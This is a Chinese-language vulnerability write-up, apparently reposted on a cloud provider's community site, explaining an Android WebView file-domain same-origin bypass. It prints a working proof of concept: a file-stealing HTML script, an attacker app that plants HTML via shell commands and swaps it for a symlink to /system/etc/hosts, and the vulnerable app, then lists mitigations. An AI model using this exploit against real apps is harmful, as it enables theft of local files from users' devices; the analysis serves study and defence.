Android WebView File域同源策略繞過漏洞淺析

來源:互聯網
上載者:User

標籤:

   0x00

    我們首先講一個webView這個方法的作用:

webView.getSettings().setAllowFileAccessFromFileURLs(false);
    為了講解這個方法,我們還是看一個實際的例子。代碼地址還是參考https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo。

    代碼如下,和Android WebView遠程代碼執行漏洞簡析一文中的代碼主要區別在於這次載入的attack_file.html。

public class MainActivity extends Activity {private WebView webView;private Uri mUri;private String url;String mUrl1 = "file:///android_asset/html/attack_file.html";//String mUrl2 = "file:///android_asset/html/test.html";@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);webView = (WebView) findViewById(R.id.webview);webView.getSettings().setJavaScriptEnabled(true);webView.addJavascriptInterface(new JSInterface(), "jsInterface");webView.getSettings().setAllowFileAccessFromFileURLs(true);webView.setWebChromeClient(new WebChromeClient() {@Override    public boolean onJsAlert(WebView view, String url, String message,JsResult result) {    //Required functionality here    return super.onJsAlert(view, url, message, result);}});webView.loadUrl(mUrl1);}    class JSInterface {        public String onButtonClick(String text) {            final String str = text;            runOnUiThread(new Runnable() {                @Override                public void run() {                    Log.e("leehong2", "onButtonClick: text = " + str);                    Toast.makeText(getApplicationContext(), "onButtonClick: text = " + str, Toast.LENGTH_LONG).show();                }            });                        return "This text is returned from Java layer.  js text = " + text;        }                public void onImageClick(String url, int width, int height) {            final String str = "onImageClick: text = " + url + "  width = " + width + "  height = " + height;            Log.i("leehong2", str);            runOnUiThread(new Runnable() {                @Override                public void run() {                    Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();                }            });        }    }}
   這裡webView.getSettings().setAllowFileAccessFromFileURLs(true),標示可以通過javaScript訪問file檔案。

   我們再來看attack_file.html的代碼:

<html><body><script>function stealFile(){var file = "file:///mnt/sdcard/11.txt";var xmlHttpReq = new XMLHttpRequest();xmlHttpReq.onreadystatechange = function(){if(xmlHttpReq.readyState == 4){alert(xmlHttpReq.responseText);}}xmlHttpReq.open("GET", file);xmlHttpReq.send(null);}stealFile();</script></body></html>
    由於setAllowFileAccessFromFileURLs為true,所以webView.load這個html可以返回/mnt/sdcard/11.txt的值。

    如果setAllowFileAccessFromFileURLs為false,webView.load這個html不可以返回/mnt/sdcard/11.txt的值。


   0x01

    即使setAllowFileAccessFromFileURLs為false,我們通過一種方式也可以跨過這個限制,那就是Android WebView File域同源策略繞過漏洞淺析,請參考WebView File域同源策略繞過漏洞淺析。

    參考的文章並沒有給出可以啟動並執行工程,這裡給出,以下的講解都來源於這兩個工程:https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo1,https://github.com/jltxgcy/AppVulnerability/tree/master/AttackWebView。

    首先運行WebViewFileDemo1,然後再運行AttackWebView來襲擊WebView。    


    我們首先看WebViewFileDemo1,主要代碼如下:

package com.example.webviewfiledemo;import android.app.Activity;import android.content.Intent;import android.net.Uri;import android.os.Bundle;import android.util.Log;import android.webkit.JsResult;import android.webkit.WebChromeClient;import android.webkit.WebView;import android.widget.Toast;public class MainActivity extends Activity {private WebView webView;private Uri mUri;private String url;@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);webView = (WebView) findViewById(R.id.webview);webView.getSettings().setJavaScriptEnabled(true);webView.addJavascriptInterface(new JSInterface(), "jsInterface");webView.getSettings().setAllowFileAccessFromFileURLs(false);//webView.getSettings().setAllowFileAccess(false);webView.setWebChromeClient(new WebChromeClient() {@Override    public boolean onJsAlert(WebView view, String url, String message,JsResult result) {    //Required functionality here    return super.onJsAlert(view, url, message, result);}});Intent i = getIntent();if (i != null) {mUri = i.getData();}if (mUri != null) {url = mUri.toString();}if (url != null) {webView.loadUrl(url);}}}

    這個Activity接收來自外部的Intent,提取Intent裡面的url並載入。


    接著我們來看AttackWebView工程,這裡就是向com.example.webviewfiledemo.MainActivity發送Intent的工程。代碼如下:

public class MainActivity extends Activity {public final static String HTML = "<body>" +    "<u>Wait a few seconds.</u>" +     "<script>" +    "var d = document;"+    "function doitjs(){"+    "var xhr = new XMLHttpRequest;"+    "xhr.onload = function(){"+    "var txt = xhr.responseText;"+    "d.body.appendChild(d.createTextNode(txt));"+    "alert(txt);"+"};"+    "xhr.open(‘GET‘,d.URL);"+    "xhr.send(null);"+    "}"+    "setTimeout(doitjs,8000);"+    "</script>"+    "</body>";public static String MY_TMP_DIR;@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath();doit();}public void doit() {String HTML_PATH = MY_TMP_DIR + "/A0" + ".html";try {cmdexec("mkdir " + MY_TMP_DIR);cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);cmdexec("chmod -R 777 " + MY_TMP_DIR);Thread.sleep(1000);invokeVulnAPP("file://" + HTML_PATH);Thread.sleep(6000);cmdexec("rm " + HTML_PATH);cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);} catch (Exception e) {// TODO: handle exception}}public void invokeVulnAPP(String url) {try {Intent intent = new Intent(Intent.ACTION_MAIN,Uri.parse(url));intent.addCategory(Intent.CATEGORY_LAUNCHER); intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity");startActivity(intent);} catch (Exception e) {// TODO: handle exception}}public void cmdexec(String cmd) {try {String[] tmp = new String[] { "/system/bin/sh", "-c", cmd };Runtime.getRuntime().exec(tmp);} catch (Exception e) {// TODO: handle exception}}}
   通過invokeVulnAPP,開啟了com.example.webviewfiledemo.MainActivity並傳遞了Intent。這個Activity提取了Url,Url為/sdcard/payload_odex/A0.html,webView載入了這個html,html內容如下:

public final static String HTML = "<body>" +    "<u>Wait a few seconds.</u>" +     "<script>" +    "var d = document;"+    "function doitjs(){"+    "var xhr = new XMLHttpRequest;"+    "xhr.onload = function(){"+    "var txt = xhr.responseText;"+    "d.body.appendChild(d.createTextNode(txt));"+    "alert(txt);"+"};"+    "xhr.open(‘GET‘,d.URL);"+    "xhr.send(null);"+    "}"+    "setTimeout(doitjs,8000);"+    "</script>"+    "</body>";
    當WebViewFileDemo1工程中webView載入A0.html後,這個html的作用是延遲8秒讀取A0.html本身。我們再回到AttackWebView工程,往下看代碼。
cmdexec("mkdir " + MY_TMP_DIR);cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);cmdexec("chmod -R 777 " + MY_TMP_DIR);Thread.sleep(1000);invokeVulnAPP("file://" + HTML_PATH);Thread.sleep(6000);cmdexec("rm " + HTML_PATH);cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);
   調用完invokeVulnAPP後,6秒後,我們首先把A0.html刪除,然後再重新軟串連到/system/etc/hosts。注意此時當WebViewFileDemo1工程中webView載入A0.html,這個html的作用是延遲8秒讀取A0.html本身,所以8秒後讀取的是軟串連/system/etc/hosts。

   結果如下:



   0x02

    如何避免這種情況的發生呢?

    1、webView.getSettings. setAllowFileAccess(false);

    如果在WebViewFileDemo1工程中com.example.webviewfiledemo.MainActivity的onCreate方法中如果加上了上面的代碼,那麼啟動並執行結果如下:


  

    2、webView.getSettings. setJavaScriptEnabled(false);

Android WebView File域同源策略繞過漏洞淺析

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.